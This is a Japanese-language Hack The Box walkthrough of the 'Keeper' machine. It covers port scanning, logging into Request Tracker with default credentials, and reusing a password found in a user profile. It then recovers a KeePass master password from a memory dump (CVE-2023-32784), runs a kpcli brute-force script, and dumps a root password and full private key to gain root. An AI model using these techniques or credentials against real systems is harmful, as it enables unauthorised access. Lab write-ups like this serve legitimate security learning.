Machine - keeper

#script無し、全探索
nmap  -Pn -p- --min-rate 5000 -oN nmap.txt keeper.htb 
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

# その後、ポート指定して、スクリプト検索
nmap -sV -sC -Pn -p 22,80 --min-rate 5000 -oN nmap.txt keeper.htb

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 35:39:d4:39:40:4b:1f:61:86:dd:7c:37:bb:4b:98:9e (ECDSA)
|_  256 1a:e9:72:be:8b:b1:05:d5:ef:fe:dd:80:d8:ef:c0:66 (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

UDP
$ sudo nmap -sU -top-ports 20 keeper.htb

Access

サイトに行くと、ticketsサブドメインのリンクあり。 /etc/hostsに追加する。

リンク先にいくと、ログインページあり。

request trackerというサービスのようだ。

RT ver 4.4.4が動作している模様。

root/passwordでログインできた。

Attachment 1,3,4 はセキュリティの問題で削除されたとのこと。

From: root@localhost
Date: Wed, 24 May 2023 12:37:17 +0200
X-RT-Interface: Web
MIME-Version: 1.0
Content-Transfer-Encoding: binary
Content-Type: text/html; charset="utf-8"
Content-Disposition: inline
Message-ID: <[email protected]>
Subject: Issue with Keepass Client on Windows
To: [email protected]
X-Mailer: MIME-tools 5.509 (Entity 5.509)
X-RT-Original-Encoding: utf-8
Content-Length: 166

Lise,<br />
<br />
Attached to this ticket is a crash dump of the keepass program. Do I need to update the version of the program first...?<br />
<br />
Thanks!&nbsp;

From: "The default queue" <[email protected]>
In-Reply-To:
Precedence: bulk
Content-Type: multipart/alternative; boundary="----------=_1684924638-1803-1"
X-RT-Loop-Prevention: tickets.keeper.htb
X-Managed-BY: RT 4.4.4+dfsg-2ubuntu1 (http://www.bestpractical.com/rt/)
Subject: [tickets.keeper.htb #300000] AutoReply: Issue with Keepass Client on Windows
X-RT-Originator: root@localhost
References: <[email protected]>
Date: Wed, 24 May 2023 12:37:18 +0200
MIME-Version: 1.0
Reply-To: [email protected]
Content-Transfer-Encoding: 8bit
X-RT-Ticket: tickets.keeper.htb #300000
Message-ID: <[email protected]>
Auto-Submitted: auto-replied
To: [email protected]
Content-Length: 0

Subject: AutoReply: Issue with Keepass Client on Windows
Content-Type: text/plain; charset="utf-8"
X-RT-Original-Encoding: utf-8
Content-Length: 862

Greetings,

This message has been automatically generated in response to the creation of a
trouble ticket regarding Issue with Keepass Client on Windows, a summary of
which appears below.

There is no need to reply to this message right now. Your ticket has been
assigned an ID of [tickets.keeper.htb #300000].

Please include the string [tickets.keeper.htb #300000] in the subject line of
all future correspondence about this issue. To do so, you may reply to this
message.

Thank you,

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
Lise,

Attached to this ticket is a crash dump of the keepass program. Do I need to
update the version of the program first...?

Thanks! 
Content-Type: text/html; charset="utf-8"
X-RT-Original-Encoding: utf-8
Content-Length: 712

<p>Greetings,</p>

<p>This message has been automatically generated in response to the
creation of a trouble ticket regarding <b>Issue with Keepass Client on Windows</b>,
a summary of which appears below.</p>

<p>There is no need to reply to this message right now. Your ticket has been
assigned an ID of <b>[tickets.keeper.htb #300000]</b>.</p>

<p>Please include the string <b>[tickets.keeper.htb #300000]</b>
in the subject line of all future correspondence about this issue. To do so,
you may reply to this message.</p>

<p>Thank you,<br/>
</p>

<hr/>
Lise,<br>
<br>
Attached to this ticket is a crash dump of the keepass program. Do I need to update the version of the program first...?<br>
<br>
Thanks!

Subject: AutoReply: Issue with Keepass Client on Windows
Content-Type: text/plain; charset="utf-8"
X-RT-Original-Encoding: utf-8
Content-Length: 862

Greetings,

This message has been automatically generated in response to the creation of a
trouble ticket regarding Issue with Keepass Client on Windows, a summary of
which appears below.

There is no need to reply to this message right now. Your ticket has been
assigned an ID of [tickets.keeper.htb #300000].

Please include the string [tickets.keeper.htb #300000] in the subject line of
all future correspondence about this issue. To do so, you may reply to this
message.

Thank you,

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
Lise,

Attached to this ticket is a crash dump of the keepass program. Do I need to
update the version of the program first...?

Thanks!

Content-Type: text/html; charset="utf-8"
X-RT-Original-Encoding: utf-8
Content-Length: 712

<p>Greetings,</p>

<p>This message has been automatically generated in response to the
creation of a trouble ticket regarding <b>Issue with Keepass Client on Windows</b>,
a summary of which appears below.</p>

<p>There is no need to reply to this message right now. Your ticket has been
assigned an ID of <b>[tickets.keeper.htb #300000]</b>.</p>

<p>Please include the string <b>[tickets.keeper.htb #300000]</b>
in the subject line of all future correspondence about this issue. To do so,
you may reply to this message.</p>

<p>Thank you,<br/>
</p>

<hr/>
Lise,<br>
<br>
Attached to this ticket is a crash dump of the keepass program. Do I need to update the version of the program first...?<br>
<br>
Thanks!

From: "Enoch Root" <[email protected]>
In-Reply-To:
Precedence: bulk
Content-Type: multipart/alternative; boundary="----------=_1684924638-1803-2"
X-RT-Loop-Prevention: tickets.keeper.htb
X-Managed-BY: RT 4.4.4+dfsg-2ubuntu1 (http://www.bestpractical.com/rt/)
Subject: [tickets.keeper.htb #300000] Issue with Keepass Client on Windows
X-RT-Originator: root@localhost
References: <[email protected]>
Date: Wed, 24 May 2023 12:37:18 +0200
MIME-Version: 1.0
Reply-To: [email protected]
Content-Transfer-Encoding: 8bit
X-RT-Ticket: tickets.keeper.htb #300000
Message-ID: <rt-4.4.4+dfsg-2ubuntu1-1803-1684924638-1810.300000-8-0@keeper.htb>
To: [email protected]
Content-Length: 0

RT-Attach-Message: yes
Content-Type: text/plain; charset="utf-8"
X-RT-Original-Encoding: utf-8
Content-Length: 453

Wed May 24 12:37:18 2023: Request 300000 was acted upon by root.

Transaction: Ticket created by root
Queue: General
Subject: Issue with Keepass Client on Windows
Owner: lnorgaard
Requestors: [email protected]
Status: new
Ticket URL: http://keeper.htb/rt/Ticket/Display.html?id=300000

Lise,

Attached to this ticket is a crash dump of the keepass program. Do I need to
update the version of the program first...?

Thanks! 
Content-Type: text/html; charset="utf-8"
X-RT-Original-Encoding: utf-8
Content-Length: 954

<b>Wed May 24 12:37:18 2023: Request <a href="http://keeper.htb/rt/Ticket/Display.html?id=300000">300000</a> was acted upon by root.</b>
<br>
<table border="0">
<tr><td align="right"><b>Transaction:</b></td><td>Ticket created by root</td></tr>
<tr><td align="right"><b>Queue:</b></td><td>General</td></tr>
<tr><td align="right"><b>Subject:</b></td><td>Issue with Keepass Client on Windows </td></tr>
<tr><td align="right"><b>Owner:</b></td><td>lnorgaard</td></tr>
<tr><td align="right"><b>Requestors:</b></td><td>[email protected]</td></tr>
<tr><td align="right"><b>Status:</b></td><td>new</td></tr>
<tr><td align="right"><b>Ticket URL:</b></td><td><a href="http://keeper.htb/rt/Ticket/Display.html?id=300000">http://keeper.htb/rt/Ticket/Display.html?id=300000</a></td></tr>
</table>
<br/>
<br/>
Lise,<br>
<br>
Attached to this ticket is a crash dump of the keepass program. Do I need to update the version of the program first...?<br>
<br>
Thanks!

ユーザー名

サイト内部を調べると、ユーザ一覧があった。 nameがユーザーIDっぽい。

#	Name	Real Name	Email Address	Status
27 	lnorgaard 	Lise Nørgaard 	[email protected] 	Enabled
14 	root 	Enoch Root 	root@localhost 	Enabled

lnorgaard のユーザー情報に下記記述あり。

New user. Initial password set to Welcome2023!

SSHでログインできた。 ID. lnorgaard PW Welcome2023!

管理者権限を取得

SSHでログインすると、 keepassのダンプファイルがzipにかためておいてあった。

メモリダンプでマスターパスワードが復元できる脆弱性 (CVE-2023-32784)があるとのこと。 https://forest.watch.impress.co.jp/docs/news/1501981.html https://github.com/vdohney/keepass-password-dumper https://github.com/CMEPW/keepass-dump-masterkey

スクリプトを実行すると、不完全な文字列が得られた。

Combined: *{,, l, `, -, ', ], A, I, :, =, _, c, M}dgr*d med fl*de

*dgr*d med fl*de

という文字列をGoogle検索すると、下記がヒットした。

Rødgrød Med Fløde--Swedish Berry Pudding.

マスターパスワードが分かったので、データベースの中身にアクセスできた。

┌──(kali㉿kali)-[~/htb/keeper/keepass-dump-masterkey]
└─$ cat key.txt 
rødgrød med fløde

┌──(kali㉿kali)-[~/htb/keeper/keepass-dump-masterkey]
└─$ cat brute.sh 
#!/bin/sh
# Usage: ./keepass-pwn.sh Database.kdbx wordlist.txt (wordlist with 2 char)
while read i
do
    echo "Using password: \"$i\""
    echo "$i" | kpcli --kdb=$1 && exit 0
done < $2

┌──(kali㉿kali)-[~/htb/keeper/keepass-dump-masterkey]
└─$ ./brute.sh ../extr/passcodes.kdbx key.txt

Notes部分はPuttyフォーマットで公開鍵・秘密鍵が記載されていた。

kpcli:/passcodes/Network> show 0

Title: keeper.htb (Ticketing Server)
Uname: root
 Pass: F4><3K0nd!
  URL: 
Notes: PuTTY-User-Key-File-3: ssh-rsa
       Encryption: none
       Comment: rsa-key-20230519
       Public-Lines: 6
       AAAAB3NzaC1yc2EAAAADAQABAAABAQCnVqse/hMswGBRQsPsC/EwyxJvc8Wpul/D
       8riCZV30ZbfEF09z0PNUn4DisesKB4x1KtqH0l8vPtRRiEzsBbn+mCpBLHBQ+81T
       EHTc3ChyRYxk899PKSSqKDxUTZeFJ4FBAXqIxoJdpLHIMvh7ZyJNAy34lfcFC+LM
       Cj/c6tQa2IaFfqcVJ+2bnR6UrUVRB4thmJca29JAq2p9BkdDGsiH8F8eanIBA1Tu
       FVbUt2CenSUPDUAw7wIL56qC28w6q/qhm2LGOxXup6+LOjxGNNtA2zJ38P1FTfZQ
       LxFVTWUKT8u8junnLk0kfnM4+bJ8g7MXLqbrtsgr5ywF6Ccxs0Et
       Private-Lines: 14
       AAABAQCB0dgBvETt8/UFNdG/X2hnXTPZKSzQxxkicDw6VR+1ye/t/dOS2yjbnr6j
       oDni1wZdo7hTpJ5ZjdmzwxVCChNIc45cb3hXK3IYHe07psTuGgyYCSZWSGn8ZCih
       kmyZTZOV9eq1D6P1uB6AXSKuwc03h97zOoyf6p+xgcYXwkp44/otK4ScF2hEputY
       f7n24kvL0WlBQThsiLkKcz3/Cz7BdCkn+Lvf8iyA6VF0p14cFTM9Lsd7t/plLJzT
       VkCew1DZuYnYOGQxHYW6WQ4V6rCwpsMSMLD450XJ4zfGLN8aw5KO1/TccbTgWivz
       UXjcCAviPpmSXB19UG8JlTpgORyhAAAAgQD2kfhSA+/ASrc04ZIVagCge1Qq8iWs
       OxG8eoCMW8DhhbvL6YKAfEvj3xeahXexlVwUOcDXO7Ti0QSV2sUw7E71cvl/ExGz
       in6qyp3R4yAaV7PiMtLTgBkqs4AA3rcJZpJb01AZB8TBK91QIZGOswi3/uYrIZ1r
       SsGN1FbK/meH9QAAAIEArbz8aWansqPtE+6Ye8Nq3G2R1PYhp5yXpxiE89L87NIV
       09ygQ7Aec+C24TOykiwyPaOBlmMe+Nyaxss/gc7o9TnHNPFJ5iRyiXagT4E2WEEa
       xHhv1PDdSrE8tB9V8ox1kxBrxAvYIZgceHRFrwPrF823PeNWLC2BNwEId0G76VkA
       AACAVWJoksugJOovtA27Bamd7NRPvIa4dsMaQeXckVh19/TF8oZMDuJoiGyq6faD
       AF9Z7Oehlo1Qt7oqGr8cVLbOT8aLqqbcax9nSKE67n7I5zrfoGynLzYkd3cETnGy
       NNkjMjrocfmxfkvuJ7smEFMg7ZywW7CBWKGozgz67tKz9Is=
       Private-MAC: b0a0fd2edf4f0e557200121aa673732c9e76750739db05adc3ab65ec34c55cb0

rsa.ppkというファイル名に保存して、puttygenコマンドでid_rsaに変換して、 rootでログインできた。

┌──(kali㉿kali)-[~/htb/keeper]                                                     └─$ cat rsa.ppk 
PuTTY-User-Key-File-3: ssh-rsa
Encryption: none
Comment: rsa-key-20230519
Public-Lines: 6               
AAAAB3NzaC1yc2EAAAADAQABAAABAQCnVqse/hMswGBRQsPsC/EwyxJvc8Wpul/D
8riCZV30ZbfEF09z0PNUn4DisesKB4x1KtqH0l8vPtRRiEzsBbn+mCpBLHBQ+81T
EHTc3ChyRYxk899PKSSqKDxUTZeFJ4FBAXqIxoJdpLHIMvh7ZyJNAy34lfcFC+LM
Cj/c6tQa2IaFfqcVJ+2bnR6UrUVRB4thmJca29JAq2p9BkdDGsiH8F8eanIBA1Tu
...

┌──(kali㉿kali)-[~/htb/keeper]
└─$ puttygen rsa.ppk -O private-openssh -o id_rsa

┌──(kali㉿kali)-[~/htb/keeper]
└─$ ssh -i id_rsa  [email protected]

HTB_keeper - meruneru/tech_memo GitHub Wiki

Machine - keeper

Access

ユーザー名

管理者権限を取得

⚠️ GitHub.com Fallback ⚠️

HTB_keeper - meruneru/tech_memo GitHub Wiki

Machine - keeper

Access

ユーザー名

管理者権限を取得

⚠️ **GitHub.com Fallback** ⚠️

⚠️ GitHub.com Fallback ⚠️